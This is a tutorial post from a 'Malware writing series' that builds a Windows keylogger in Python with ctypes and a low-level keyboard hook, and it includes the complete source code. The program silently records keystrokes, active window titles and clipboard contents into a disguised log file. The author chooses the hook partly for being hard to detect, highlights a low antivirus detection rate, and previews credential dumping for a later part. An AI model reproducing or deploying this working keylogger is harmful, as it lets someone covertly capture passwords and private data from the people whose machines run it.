Malware writing series - Python Malware, part 2
Following @dtm’s comment regarding GetAsyncKeyState
being responsible for the crazy CPU usage in part 1, I decided to follow his recommendation and use SetWindowHookExA
. Initially, this was supposed to be a simple introduction to ctypes. I wasn’t planning to write a second version of the keylogger with ctypes, but I changed my mind. Using SetWindowHookExA
is much better and brought the CPU usage down two zero. But also, after searching for a keylogger fully written with ctypes, I couldn’t find anything decent. Might as well make one.
Unfortunately it is much more complicated too. I tried multiple packages such as keyboard
and pynput
but both were very buggy and unreliable. Pynput couldn’t print special characters such as +, -, %, ^, etc. Keyboard has a bug were, then typing too fast, letters are missing. The package also have over 100 unresolved issues. The only maintainer appears to have abandoned the project. PyHook is just not an option. There are unofficial packages but Python 3 but they don’t contain bug fixes. The package is simply not reliable enough to use and will make the keylogger crash.
Therefore, I had no choice but to write everything from scratch.
So in this part, we’ll rewrite the keylogger to use SetWindowsHookEx
. It’s going to be a lot more complicated but will give us a deeper understanding on how to use ctypes to interact with the WinAPI.
Let’s start.
Writing a keylogger in Python from scratch with ctypes
What is a hook? From MSDN: “A hook is a point in the system message-handling mechanism where an application can install a subroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure.”
In simple terms, you hit a key, the hook intercepts the keyboard event.
We start by importing the required packages, load user32.dll
and kernel32.dll
, set up logging and create the variables to hold the text, the windows titles and keys pressed.
from ctypes import *
from ctypes.wintypes import DWORD, LPARAM, WPARAM, MSG
import logging
import os
logging.basicConfig(filename=(os.environ['localappdata'] +"\\" + 'applog.txt'), level=logging.DEBUG, format='%(message)s')
# Load the required librairies
user32 = windll.user32
kernel32 = windll.kernel32
current_window = None # Holds the current window title
current_clipboard = [] # Holds the current clipboard content
last_key = None # Holds the last key pressed
line = "" # Holds the lines of keyboard characters pressed
The hooking function we’re going to use are SetWindowsHookExA
, UnhookWindowsHookEx
and CallNextHookEx
. We also need a class to use as data structure to hold the data from keyboard input events received from the KBDLLHOOKSTRUCT
struct.
First, we must declare some constants that will be required later when calling WinAPI functions.
WH_KEYBOARD_LL = 13 # Hook ID to pass to SetWindowsExA
WM_KEYDOWN = 0x0100 # VM_KEYDOWN message code
HC_ACTION = 0 # Parameter for KeyboardProc callback function
SetWindowsHookExA
needs to know what type of hook it has to set. We need to pass the hook ID as first argument. In this case, we use WH_KEYBOARD_LL
because, unlike WH_KEYBOARD
, it does not require to inject a DLL in the processes and therefore is hard to catch.
WM_KEYDOWN
tells us when a non-system key is pressed.
HC_ACTION
is an argument to pass to the KeyboardProc
callback functions.
After, we have to map the virtual keys to their respective hex values and create the HOOKPROC
callback function. Then we create a pointer that points to the callback function. This pointer is later passed as argument to SetWindowsHookExA
.
# VIRTUAL KEYS CODES: Needed to handle special keys such as CTRL or RETURN
# Reference: http://nehe.gamedev.net/article/msdn_virtualkey_codes/15009/
VIRTUAL_KEYS = {'RETURN': 0x0D,
'CONTROL': 0x11,
'SHIFT': 0x10,
'MENU': 0x12,
'TAB': 0x09,
'BACKSPACE': 0x08,
'CLEAR': 0x0C,
'CAPSLOCK': 0x14,
'ESCAPE': 0x1B,
'HOME': 0x24,
'INS': 0x2D,
'DEL': 0x2E,
'END': 0x23,
'PRINTSCREEN': 0x2C,
'CANCEL': 0x03
}
HOOKPROC = WINFUNCTYPE(HRESULT, c_int, WPARAM, LPARAM) # Callback function
The virtual keys are needed to detect special keys pressed such as ENTER, SHIFT, etc. I did not include all of them, because the list is extensive but you can add more if you wish to log more. Just visit the reference in the code, above the variable name, to get all the hex values.
We use the WINFUNCTYPE
factory ctypes function to create the HOOKPROC
callback function.
Then, we need a data structure to hold information about the keyboard input events. We just need to replicate the structure provided by MSDN here: https://docs.microsoft.com/en-us/windows/desktop/api/winuser/ns-winuser-tagkbdllhookstruct
class KBDLLHOOKSTRUCT(Structure): _fields_=[
('vkCode',DWORD),
('scanCode',DWORD),
('flags',DWORD),
('time',DWORD),
('dwExtraInfo',DWORD)]
Now we have everything we need to start! This time, we will make a class named hook
that will monitor the keyboard events by installing a hook.
class hook:
"""
Class for installing/uninstalling a hook
"""
def __init__(self):
"""
Constructor for the hook class.
Responsible for allowing methods to call functions from
user32.dll and kernel32.dll.
"""
self.user32 = user32
self.kernel32 = kernel32
self.is_hooked = None
def install_hook(self, ptr):
"""
Method for installing hook.
Arguments
ptr: pointer to the HOOKPROC callback function
"""
self.is_hooked = self.user32.SetWindowsHookExA(
WH_KEYBOARD_LL,
ptr,
kernel32.GetModuleHandleW(None),
0
)
if not self.is_hooked:
return False
return True
def uninstall_hook(self):
"""
Method for uninstalling the hook.
"""
if self.is_hooked is None:
return
self.user32.UnhookWindowsHookEx(self.is_hooked)
self.is_hooked = None
We need to start with the constructor that will allow methods to call user32.dll
and kernel32.dll
functions. We also need to declare the variable is_hooked
that will hold the handle to the hook procedure returned by SetWindowsHookExA
.
We then proceed with creating the method install_hook
that, as the name says, will install the hook calling SetWindowsHookExA
, passing the hook ID (type of hook) and the pointer to the callback function as argument. The returned value is the handle to the hook procedure that we store in is_hooked
.
Finally, we create the function uninstall_hook
(optional) to uninstall the hook. Useful when testing the keylogger.
Then, we take our previously written get_current_window()
and get_clipboard()
functions from Part 1.
def get_current_window(): # Function to grab the current window and its title
GetForegroundWindow = user32.GetForegroundWindow
GetWindowTextLength = user32.GetWindowTextLengthW
GetWindowText = user32.GetWindowTextW
hwnd = GetForegroundWindow() # Get handle to foreground window
length = GetWindowTextLength(hwnd) # Get length of the window text in title bar
buff = create_unicode_buffer(length + 1) # Create buffer to store the window title string
GetWindowText(hwnd, buff, length + 1) # Get window title and store in buff
return buff.value # Return the value of buff
def get_clipboard():
CF_TEXT = 1 # Set clipboard format
# Argument and return types for GlobalLock/GlobalUnlock.
kernel32.GlobalLock.argtypes = [c_void_p]
kernel32.GlobalLock.restype = c_void_p
kernel32.GlobalUnlock.argtypes = [c_void_p]
# Return type for GetClipboardData
user32.GetClipboardData.restype = c_void_p
user32.OpenClipboard(0)
# Required clipboard functions
IsClipboardFormatAvailable = user32.IsClipboardFormatAvailable
GetClipboardData = user32.GetClipboardData
CloseClipboard = user32.CloseClipboard
try:
if IsClipboardFormatAvailable(CF_TEXT): # If CF_TEXT is available
data = GetClipboardData(CF_TEXT) # Get handle to data in clipboard
data_locked = kernel32.GlobalLock(data) # Get ptr to memory location where the data is located
text = c_char_p(data_locked) # Get a char * ptr (string in Python) to the location of data_locked
value = text.value # Dump the content in value
kernel32.GlobalUnlock(data_locked) # Decrement de lock count
return value.decode('latin1') # Return the clipboard content
finally:
CloseClipboard() # Close the clipboard
Now it’s time to write the hook procedure that this called every time a keyboard event occurs.
def hook_procedure(nCode, wParam, lParam):
# Need to be global so they're not emptied at every key pressed
global last_key
global current_clipboard
global line
global current_window
We have to specify to the function that the variables we previously created are global and that they can be accessed by this function. The reason why we can’t use local variables is that, whenever a key is pressed, the hook_procedure
function is executed and therefore, the local variables will be cleared at every key pressed. That’s not very useful if we want to use them to compared the last key, last window or last clipboard data.
Then, like in Part 1, we need to know what is the current window opened when the user is typing so we have some context and know how to use the data we retrieve.
if current_window != get_current_window():
current_window = get_current_window()
logging.info('[WINDOW] ' + current_window)
# Remove comments below if you want to the possibility to uninstall the hook when testing.
"""
if user32.GetKeyState(VIRTUAL_KEYS['CONTROL']) & 0x8000:
hook.uninstall_hook()
return 0
"""
Optionally, we can use a function to uninstall the hook whenever a specific key is pressed (CONTROL here). Now we can start writing the keylogging routine triggered at every key pressed.
if nCode == HC_ACTION and wParam == WM_KEYDOWN:
kb = KBDLLHOOKSTRUCT.from_address(lParam)
user32.GetKeyState(VIRTUAL_KEYS['SHIFT'])
user32.GetKeyState(VIRTUAL_KEYS['MENU'])
state = (c_char * 256)()
user32.GetKeyboardState(byref(state))
buff = create_unicode_buffer(8)
n = user32.ToUnicode(kb.vkCode, kb.scanCode, state, buff, 8 - 1, 0)
key = wstring_at(buff) # Key pressed as buffer
The logic here is that, when a key is pressed, we use from_address
to take the information about the keyboard event and store it in the kb
variable as a data structure, using the previously created KBDLLHOOKSTRUCT
class. The we create a state
variable of size 256 to hold the state of all 256 virtual keys. This is done by calling the GetKeyboardState()
function.
Then, we declare a buff
variable to create a unicode character buffer (an array of values with the wchar
datatype). We then use ToUnicode
function from user32.dll
to translate the virtual key code or keyboard state to a unicode character, and the wstring_at()
function to store the characters as 1-character unicode string.
ToUnicode can return one of four values: 1, a dead key, 0, for which there is no translation, - 1, a character and - 2 ≤ value, two or more characters.
The returned value is being stored in n
. So every time a key is pressed, the hook procedure stores the return value and we can use this to determine whether or not we want to log the character or not. As long as n
is larger than 0, we want to log the key pressed.
if n > 0:
# Avoid logging weird characters. If they show up,
# get the hex code here http://asciivalue.com/index.php
# and add to VIRTUAL_KEYS
if kb.vkCode not in VIRTUAL_KEYS.values():
line += key
for key, value in VIRTUAL_KEYS.items():
if kb.vkCode == value:
logging.info(key)
if kb.vkCode == VIRTUAL_KEYS['RETURN']:
logging.info(line)
line = ""
if current_clipboard != get_clipboard():
current_clipboard = get_clipboard()
logging.info('[CLIPBOARD] ' + current_clipboard + '\n')
return user32.CallNextHookEx(hook.is_hooked, nCode, wParam, c_ulonglong(lParam))
The rest is pretty simple. We start by logging any key. The key is appended to the line
variable to create a full, easily readable line.
Then, if RETURN
is pressed, we log the line and clear the line
variable.
Finally, we check the current status of the clipboard. If there is new data in the clipboard, we log that data. Then we pass the hook information to the next hook procedure with CallNextHookEx
. And it continues again and again.
That’s about it! All we have to do is:
- Create an instance of the hook()
class
- Create the pointer with ptr
- Install the hook with install_hook(ptr)
- Wait for system messages to be intercepted by the hook
hook = hook() # Hook class
ptr = HOOKPROC(hook_procedure) # Pointer to the callback function
hook.install_hook(ptr) # Installing hook
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
Look at that CPU usage!
Look at that detection rate!
I don’t know who the fuck uses Jiangmin anyway.
There’s one issue I am working on at the moment and I’ll update the code and the post when I find a solution. PyInstaller seems to have poor support for either ctypes or the logging library. Therefore, it creates the file on disk at execution but isn’t writing in it. I’m currently looking and testing alternatives and will update accordingly.
There are other ways to build a standalone executable but we will cover these later. PyInstaller is my favorite because I use it for many other things, therefore I really want to find a solution!
In part 3, we will look at how to dump credentials with standard user privileges. This time it’s going to be a lot simpler. We will use PyWin32 so it’s unlikely that we’ll have to write any WinAPI calls from scratch. I don’t even think we’ll need ctypes period.
You’ll find the complete keylogger code below and here: https://github.com/tr4cefl0w/0x00sec/tree/master/python-malware
Thanks to @dtm for the tip and to that guy on HackerThreads showing how create a hook with Python (kind of).
# KEYLOGGER WITH CTYPES AND SETWINDOWSHOOKEX FROM MY 0X00SEC POST.
# THIS IS A PROOF-OF-CONCEPT AND I AM NOT RESPONSIBLE FOR ANY
# USAGE OF THIS CODE OR MALICIOUS PURPOSE.
from ctypes import *
from ctypes.wintypes import DWORD, LPARAM, WPARAM, MSG
import logging
import os
logging.basicConfig(filename=(os.environ['localappdata'] +"\\" + 'applog.txt'),
level=logging.DEBUG, format='%(message)s')
# Load the required librairies
user32 = windll.user32
kernel32 = windll.kernel32
current_window = None # Holds the current window title
current_clipboard = [] # Holds the current clipboard content
last_key = None # Holds the last key pressed
line = "" # Holds the lines of keyboard characters pressed
WH_KEYBOARD_LL = 13 # Hook ID to pass to SetWindowsExA
WM_KEYDOWN = 0x0100 # VM_KEYDOWN message code
HC_ACTION = 0 # Parameter for KeyboardProc callback function
# VIRTUAL KEYS CODES: Needed to handle special keys such as CTRL or RETURN
# Reference: http://nehe.gamedev.net/article/msdn_virtualkey_codes/15009/
VIRTUAL_KEYS = {'RETURN': 0x0D,
'CONTROL': 0x11,
'SHIFT': 0x10,
'MENU': 0x12,
'TAB': 0x09,
'BACKSPACE': 0x08,
'CLEAR': 0x0C,
'CAPSLOCK': 0x14,
'ESCAPE': 0x1B,
'HOME': 0x24,
'INS': 0x2D,
'DEL': 0x2E,
'END': 0x23,
'PRINTSCREEN': 0x2C,
'CANCEL': 0x03,
'BACK': 0x08,
'LBUTTON': 0x01
}
HOOKPROC = WINFUNCTYPE(HRESULT, c_int, WPARAM, LPARAM) # Callback function
class KBDLLHOOKSTRUCT(Structure): _fields_=[
('vkCode',DWORD),
('scanCode',DWORD),
('flags',DWORD),
('time',DWORD),
('dwExtraInfo',DWORD)]
class hook:
"""
Class for installing/uninstalling a hook
"""
def __init__(self):
"""
Constructor for the hook class.
Responsible for allowing methods to call functions from
user32.dll and kernel32.dll.
"""
self.user32 = user32
self.kernel32 = kernel32
self.is_hooked = None
def install_hook(self, ptr):
"""
Method for installing hook.
Arguments
ptr: pointer to the HOOKPROC callback function
"""
self.is_hooked = self.user32.SetWindowsHookExA(
WH_KEYBOARD_LL,
ptr,
kernel32.GetModuleHandleW(None),
0
)
if not self.is_hooked:
return False
return True
def uninstall_hook(self):
"""
Method for uninstalling the hook.
"""
if self.is_hooked is None:
return
self.user32.UnhookWindowsHookEx(self.is_hooked)
self.is_hooked = None
def get_current_window(): # Function to grab the current window and its title
GetForegroundWindow = user32.GetForegroundWindow
GetWindowTextLength = user32.GetWindowTextLengthW
GetWindowText = user32.GetWindowTextW
hwnd = GetForegroundWindow() # Get handle to foreground window
length = GetWindowTextLength(hwnd) # Get length of the window text in title bar
buff = create_unicode_buffer(length + 1) # Create buffer to store the window title buff
GetWindowText(hwnd, buff, length + 1) # Get window title and store in buff
return buff.value # Return the value of buff
def get_clipboard():
CF_TEXT = 1 # Set clipboard format
# Argument and return types for GlobalLock/GlobalUnlock.
kernel32.GlobalLock.argtypes = [c_void_p]
kernel32.GlobalLock.restype = c_void_p
kernel32.GlobalUnlock.argtypes = [c_void_p]
# Return type for GetClipboardData
user32.GetClipboardData.restype = c_void_p
user32.OpenClipboard(0)
# Required clipboard functions
IsClipboardFormatAvailable = user32.IsClipboardFormatAvailable
GetClipboardData = user32.GetClipboardData
CloseClipboard = user32.CloseClipboard
try:
if IsClipboardFormatAvailable(CF_TEXT): # If CF_TEXT is available
data = GetClipboardData(CF_TEXT) # Get handle to data in clipboard
data_locked = kernel32.GlobalLock(data) # Get ptr to memory location where the data is located
text = c_char_p(data_locked) # Get a char * ptr (buff in Python) to the location of data_locked
value = text.value # Dump the content in value
kernel32.GlobalUnlock(data_locked) # Decrement de lock count
return value.decode('latin1') # Return the clipboard content
finally:
CloseClipboard() # Close the clipboard
def hook_procedure(nCode, wParam, lParam):
"""
Hook procedure to monitor and log keyboard events.
Arguments:
nCode = HC_ACTION code
wParam = Keyboard event message code
lParam = Address of keyboard input event
"""
# Need to be global so they're not emptied at every key pressed
global last_key
global current_clipboard
global line
global current_window
if current_window != get_current_window():
current_window = get_current_window()
logging.info('[WINDOW] ' + current_window)
# Remove comments below if you want to the possibility to uninstall the hook when testing.
"""
if user32.GetKeyState(VIRTUAL_KEYS['CONTROL']) & 0x8000:
hook.uninstall_hook()
return 0
"""
if nCode == HC_ACTION and wParam == WM_KEYDOWN:
kb = KBDLLHOOKSTRUCT.from_address(lParam)
user32.GetKeyState(VIRTUAL_KEYS['SHIFT'])
user32.GetKeyState(VIRTUAL_KEYS['MENU'])
state = (c_char * 256)()
user32.GetKeyboardState(byref(state))
buff = create_unicode_buffer(8)
n = user32.ToUnicode(kb.vkCode, kb.scanCode, state, buff, 8 - 1, 0)
key = wstring_at(buff) # Key pressed as buffer
if n > 0:
# Avoid logging weird characters. If they show up,
# get the hex code here http://asciivalue.com/index.php
# and add to VIRTUAL_KEYS
if kb.vkCode not in VIRTUAL_KEYS.values():
line += key
for key, value in VIRTUAL_KEYS.items():
if kb.vkCode == value:
logging.info(key)
if kb.vkCode == VIRTUAL_KEYS['RETURN']:
logging.info(line)
line = ""
if current_clipboard != get_clipboard():
current_clipboard = get_clipboard()
logging.info('[CLIPBOARD] ' + current_clipboard + '\n')
return user32.CallNextHookEx(hook.is_hooked, nCode, wParam, c_ulonglong(lParam))
hook = hook() # Hook class
ptr = HOOKPROC(hook_procedure) # Pointer to the callback function
hook.install_hook(ptr) # Installing hook
msg = MSG() # MSG data structure
user32.GetMessageA(byref(msg), 0, 0, 0) # Wait for messages to be posted
EDIT 1: Added support for special characters and removed a sentence related to that issue.
EDIT 2: Fixed some typos
EDIT 3: Changed the link to the Github repo as the structure changed.
EDIT 4: Fixed typo in code snippet.
References:
https://docs.microsoft.com/en-us/windows/desktop/api/winuser/ns-winuser-tagmsg